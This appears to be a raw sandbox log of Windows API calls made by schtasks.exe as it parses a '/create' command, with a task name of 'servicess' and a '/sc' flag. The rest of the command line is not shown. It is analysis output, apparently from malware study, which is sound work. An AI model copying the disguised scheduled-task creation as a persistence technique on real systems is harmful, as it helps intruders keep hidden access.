hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd60 | out: hHeap=0x370000) returned 1 [0148.380] GetProcessHeap () returned 0x370000 [0148.380] GetProcessHeap () returned 0x370000 [0148.380] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ddf0) returned 1 [0148.380] GetProcessHeap () returned 0x370000 [0148.380] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ddf0) returned 0x6 [0148.380] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ddf0 | out: hHeap=0x370000) returned 1 [0148.380] GetProcessHeap () returned 0x370000 [0148.380] GetProcessHeap () returned 0x370000 [0148.380] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd90) returned 1 [0148.380] GetProcessHeap () returned 0x370000 [0148.380] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd90) returned 0x20 [0148.381] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd90 | out: hHeap=0x370000) returned 1 [0148.381] GetProcessHeap () returned 0x370000 [0148.381] GetProcessHeap () returned 0x370000 [0148.381] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38b9d0) returned 1 [0148.381] GetProcessHeap () returned 0x370000 [0148.381] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38b9d0) returned 0x18 [0148.381] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38b9d0 | out: hHeap=0x370000) returned 1 [0148.381] SetLastError (dwErrCode=0x0) [0148.381] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0148.381] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0148.381] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0148.381] VerifyVersionInfoW (in: lpVersionInformation=0x21c2d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21c2d0) returned 1 [0148.382] SetLastError (dwErrCode=0x0) [0148.382] lstrlenW (lpString="create") returned 6 [0148.382] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0148.382] SetLastError (dwErrCode=0x490) [0148.382] SetLastError (dwErrCode=0x0) [0148.382] lstrlenW (lpString="create") returned 6 [0148.382] GetProcessHeap () returned 0x370000 [0148.382] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd90 [0148.382] GetProcessHeap () returned 0x370000 [0148.382] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38d520 [0148.382] _memicmp (_Buf1=0x38d520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.382] GetProcessHeap () returned 0x370000 [0148.382] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x16) returned 0x38d540 [0148.382] SetLastError (dwErrCode=0x0) [0148.382] _memicmp (_Buf1=0x38ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.382] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x38bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0148.382] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0148.384] GetProcessHeap () returned 0x370000 [0148.384] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x74e) returned 0x38dd60 [0148.384] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x38dd60 | out: lpData=0x38dd60) returned 1 [0148.385] VerQueryValueW (in: pBlock=0x38dd60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21c3b8, puLen=0x21c420 | out: lplpBuffer=0x21c3b8*=0x38e0fc, puLen=0x21c420) returned 1 [0148.385] _memicmp (_Buf1=0x38ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.385] _vsnwprintf (in: _Buffer=0x38bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21c398 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0148.385] VerQueryValueW (in: pBlock=0x38dd60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21c428, puLen=0x21c418 | out: lplpBuffer=0x21c428*=0x38df28, puLen=0x21c418) returned 1 [0148.385] lstrlenW (lpString="schtasks.exe") returned 12 [0148.385] lstrlenW (lpString="schtasks.exe") returned 12 [0148.385] lstrlenW (lpString=".EXE") returned 4 [0148.385] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0148.385] lstrlenW (lpString="schtasks.exe") returned 12 [0148.385] lstrlenW (lpString=".EXE") returned 4 [0148.385] lstrlenW (lpString="schtasks") returned 8 [0148.385] lstrlenW (lpString="/create") returned 7 [0148.385] _memicmp (_Buf1=0x38ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.385] _vsnwprintf (in: _Buffer=0x38bc30, _BufferCount=0x19, _Format="%s %s", _ArgList=0x21c398 | out: _Buffer="schtasks /create") returned 16 [0148.385] _memicmp (_Buf1=0x38bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.385] GetProcessHeap () returned 0x370000 [0148.385] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd60 [0148.385] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.386] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0148.386] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0148.386] GetProcessHeap () returned 0x370000 [0148.386] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x30) returned 0x387ac0 [0148.386] _vsnwprintf (in: _Buffer=0x38c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21c398 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0148.386] GetProcessHeap () returned 0x370000 [0148.386] GetProcessHeap () returned 0x370000 [0148.386] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38dd60) returned 1 [0148.386] GetProcessHeap () returned 0x370000 [0148.386] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38dd60) returned 0x74e [0148.386] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38dd60 | out: hHeap=0x370000) returned 1 [0148.386] SetLastError (dwErrCode=0x0) [0148.386] GetThreadLocale () returned 0x409 [0148.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.386] lstrlenW (lpString="create") returned 6 [0148.386] GetThreadLocale () returned 0x409 [0148.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.387] lstrlenW (lpString="?") returned 1 [0148.387] GetThreadLocale () returned 0x409 [0148.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.387] lstrlenW (lpString="s") returned 1 [0148.387] GetThreadLocale () returned 0x409 [0148.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.387] lstrlenW (lpString="u") returned 1 [0148.387] GetThreadLocale () returned 0x409 [0148.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.387] lstrlenW (lpString="p") returned 1 [0148.387] GetThreadLocale () returned 0x409 [0148.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.387] lstrlenW (lpString="ru") returned 2 [0148.387] GetThreadLocale () returned 0x409 [0148.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.387] lstrlenW (lpString="rp") returned 2 [0148.387] GetThreadLocale () returned 0x409 [0148.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.387] lstrlenW (lpString="sc") returned 2 [0148.387] GetThreadLocale () returned 0x409 [0148.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.387] lstrlenW (lpString="mo") returned 2 [0148.387] GetThreadLocale () returned 0x409 [0148.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.387] lstrlenW (lpString="d") returned 1 [0148.387] GetThreadLocale () returned 0x409 [0148.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.388] lstrlenW (lpString="m") returned 1 [0148.388] GetThreadLocale () returned 0x409 [0148.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.388] lstrlenW (lpString="i") returned 1 [0148.388] GetThreadLocale () returned 0x409 [0148.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.388] lstrlenW (lpString="tn") returned 2 [0148.388] GetThreadLocale () returned 0x409 [0148.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.388] lstrlenW (lpString="tr") returned 2 [0148.388] GetThreadLocale () returned 0x409 [0148.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.388] lstrlenW (lpString="st") returned 2 [0148.388] GetThreadLocale () returned 0x409 [0148.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.388] lstrlenW (lpString="sd") returned 2 [0148.388] GetThreadLocale () returned 0x409 [0148.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.388] lstrlenW (lpString="ed") returned 2 [0148.388] GetThreadLocale () returned 0x409 [0148.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.388] lstrlenW (lpString="it") returned 2 [0148.388] GetThreadLocale () returned 0x409 [0148.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.388] lstrlenW (lpString="et") returned 2 [0148.388] GetThreadLocale () returned 0x409 [0148.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.389] lstrlenW (lpString="k") returned 1 [0148.389] GetThreadLocale () returned 0x409 [0148.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.389] lstrlenW (lpString="du") returned 2 [0148.389] GetThreadLocale () returned 0x409 [0148.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.389] lstrlenW (lpString="ri") returned 2 [0148.389] GetThreadLocale () returned 0x409 [0148.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.389] lstrlenW (lpString="z") returned 1 [0148.389] GetThreadLocale () returned 0x409 [0148.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.389] lstrlenW (lpString="f") returned 1 [0148.389] GetThreadLocale () returned 0x409 [0148.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.389] lstrlenW (lpString="v1") returned 2 [0148.389] GetThreadLocale () returned 0x409 [0148.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.389] lstrlenW (lpString="xml") returned 3 [0148.389] GetThreadLocale () returned 0x409 [0148.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.389] lstrlenW (lpString="ec") returned 2 [0148.389] GetThreadLocale () returned 0x409 [0148.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.389] lstrlenW (lpString="rl") returned 2 [0148.389] GetThreadLocale () returned 0x409 [0148.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.390] lstrlenW (lpString="delay") returned 5 [0148.390] GetThreadLocale () returned 0x409 [0148.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.390] lstrlenW (lpString="np") returned 2 [0148.390] SetLastError (dwErrCode=0x0) [0148.390] SetLastError (dwErrCode=0x0) [0148.390] lstrlenW (lpString="/create") returned 7 [0148.390] lstrlenW (lpString="-/") returned 2 [0148.390] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.390] lstrlenW (lpString="create") returned 6 [0148.390] lstrlenW (lpString="create") returned 6 [0148.390] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.390] lstrlenW (lpString="create") returned 6 [0148.390] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.390] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|create|") returned 8 [0148.390] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|create|") returned 8 [0148.390] lstrlenW (lpString="|create|") returned 8 [0148.390] lstrlenW (lpString="|create|") returned 8 [0148.390] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0148.390] SetLastError (dwErrCode=0x0) [0148.390] SetLastError (dwErrCode=0x0) [0148.390] SetLastError (dwErrCode=0x0) [0148.390] lstrlenW (lpString="/tn") returned 3 [0148.390] lstrlenW (lpString="-/") returned 2 [0148.391] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.391] lstrlenW (lpString="create") returned 6 [0148.391] lstrlenW (lpString="create") returned 6 [0148.391] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.391] lstrlenW (lpString="tn") returned 2 [0148.391] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.391] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|create|") returned 8 [0148.391] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.391] lstrlenW (lpString="|create|") returned 8 [0148.391] lstrlenW (lpString="|tn|") returned 4 [0148.391] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0148.391] SetLastError (dwErrCode=0x490) [0148.391] lstrlenW (lpString="?") returned 1 [0148.391] lstrlenW (lpString="?") returned 1 [0148.391] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.391] lstrlenW (lpString="tn") returned 2 [0148.391] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.391] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|?|") returned 3 [0148.391] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.391] lstrlenW (lpString="|?|") returned 3 [0148.391] lstrlenW (lpString="|tn|") returned 4 [0148.391] SetLastError (dwErrCode=0x490) [0148.391] lstrlenW (lpString="s") returned 1 [0148.392] lstrlenW (lpString="s") returned 1 [0148.392] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.392] lstrlenW (lpString="tn") returned 2 [0148.392] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.392] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|s|") returned 3 [0148.392] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.392] lstrlenW (lpString="|s|") returned 3 [0148.392] lstrlenW (lpString="|tn|") returned 4 [0148.392] SetLastError (dwErrCode=0x490) [0148.392] lstrlenW (lpString="u") returned 1 [0148.392] lstrlenW (lpString="u") returned 1 [0148.392] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.392] lstrlenW (lpString="tn") returned 2 [0148.392] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.392] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|u|") returned 3 [0148.392] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.392] lstrlenW (lpString="|u|") returned 3 [0148.392] lstrlenW (lpString="|tn|") returned 4 [0148.392] SetLastError (dwErrCode=0x490) [0148.392] lstrlenW (lpString="p") returned 1 [0148.392] lstrlenW (lpString="p") returned 1 [0148.392] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.392] lstrlenW (lpString="tn") returned 2 [0148.392] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.392] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|p|") returned 3 [0148.392] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.392] lstrlenW (lpString="|p|") returned 3 [0148.393] lstrlenW (lpString="|tn|") returned 4 [0148.393] SetLastError (dwErrCode=0x490) [0148.393] lstrlenW (lpString="ru") returned 2 [0148.393] lstrlenW (lpString="ru") returned 2 [0148.393] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.393] lstrlenW (lpString="tn") returned 2 [0148.393] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.393] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|ru|") returned 4 [0148.393] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.393] lstrlenW (lpString="|ru|") returned 4 [0148.393] lstrlenW (lpString="|tn|") returned 4 [0148.393] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0148.393] SetLastError (dwErrCode=0x490) [0148.393] lstrlenW (lpString="rp") returned 2 [0148.393] lstrlenW (lpString="rp") returned 2 [0148.393] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.393] lstrlenW (lpString="tn") returned 2 [0148.393] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.393] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|rp|") returned 4 [0148.393] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.393] lstrlenW (lpString="|rp|") returned 4 [0148.393] lstrlenW (lpString="|tn|") returned 4 [0148.393] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0148.393] SetLastError (dwErrCode=0x490) [0148.393] lstrlenW (lpString="sc") returned 2 [0148.393] lstrlenW (lpString="sc") returned 2 [0148.393] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.393] lstrlenW (lpString="tn") returned 2 [0148.393] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.393] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.393] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.393] lstrlenW (lpString="|sc|") returned 4 [0148.394] lstrlenW (lpString="|tn|") returned 4 [0148.394] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0148.394] SetLastError (dwErrCode=0x490) [0148.394] lstrlenW (lpString="mo") returned 2 [0148.394] lstrlenW (lpString="mo") returned 2 [0148.394] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.394] lstrlenW (lpString="tn") returned 2 [0148.394] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.394] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.394] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.394] lstrlenW (lpString="|mo|") returned 4 [0148.394] lstrlenW (lpString="|tn|") returned 4 [0148.394] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0148.394] SetLastError (dwErrCode=0x490) [0148.394] lstrlenW (lpString="d") returned 1 [0148.394] lstrlenW (lpString="d") returned 1 [0148.394] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.394] lstrlenW (lpString="tn") returned 2 [0148.394] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.394] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|d|") returned 3 [0148.394] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.394] lstrlenW (lpString="|d|") returned 3 [0148.394] lstrlenW (lpString="|tn|") returned 4 [0148.394] SetLastError (dwErrCode=0x490) [0148.394] lstrlenW (lpString="m") returned 1 [0148.394] lstrlenW (lpString="m") returned 1 [0148.394] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.394] lstrlenW (lpString="tn") returned 2 [0148.394] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.394] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|m|") returned 3 [0148.394] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.394] lstrlenW (lpString="|m|") returned 3 [0148.394] lstrlenW (lpString="|tn|") returned 4 [0148.395] SetLastError (dwErrCode=0x490) [0148.395] lstrlenW (lpString="i") returned 1 [0148.395] lstrlenW (lpString="i") returned 1 [0148.395] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.395] lstrlenW (lpString="tn") returned 2 [0148.395] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.395] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|i|") returned 3 [0148.395] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.395] lstrlenW (lpString="|i|") returned 3 [0148.395] lstrlenW (lpString="|tn|") returned 4 [0148.395] SetLastError (dwErrCode=0x490) [0148.395] lstrlenW (lpString="tn") returned 2 [0148.395] lstrlenW (lpString="tn") returned 2 [0148.395] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.395] lstrlenW (lpString="tn") returned 2 [0148.395] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.395] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.395] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.395] lstrlenW (lpString="|tn|") returned 4 [0148.395] lstrlenW (lpString="|tn|") returned 4 [0148.395] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0148.395] SetLastError (dwErrCode=0x0) [0148.395] SetLastError (dwErrCode=0x0) [0148.395] lstrlenW (lpString="servicess") returned 9 [0148.395] lstrlenW (lpString="-/") returned 2 [0148.395] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0148.395] SetLastError (dwErrCode=0x490) [0148.395] SetLastError (dwErrCode=0x490) [0148.395] SetLastError (dwErrCode=0x0) [0148.395] lstrlenW (lpString="servicess") returned 9 [0148.395] StrChrIW (lpStart="servicess", wMatch=0x3a) returned 0x0 [0148.395] SetLastError (dwErrCode=0x490) [0148.395] SetLastError (dwErrCode=0x0) [0148.395] lstrlenW (lpString="servicess") returned 9 [0148.396] SetLastError (dwErrCode=0x0) [0148.396] SetLastError (dwErrCode=0x0) [0148.396] lstrlenW (lpString="/sc") returned 3 [0148.396] lstrlenW (lpString="-/") returned 2 [0148.396] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.396] lstrlenW (lpString="create") returned 6 [0148.396] lstrlenW (lpString="create") returned 6 [0148.396] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.396] lstrlenW (lpString="sc") returned 2 [0148.396] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.396] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|create|") returned 8 [0148.396] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.396] lstrlenW (lpString="|create|") returned 8 [0148.396] lstrlenW (lpString="|sc|") returned 4 [0148.396] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0148.396] SetLastError (dwErrCode=0x490) [0148.396] lstrlenW (lpString="?") returned 1 [0148.396] lstrlenW (lpString="?") returned 1 [0148.396] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.396] lstrlenW (lpString="sc") returned 2 [0148.396] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.396] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|?|") returned 3 [0148.396] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.396] lstrlenW (lpString="|?|") returned 3 [0148.396] lstrlenW (lpString="|sc|") returned 4 [0148.396] SetLastError (dwErrCode=0x490) [0148.396] 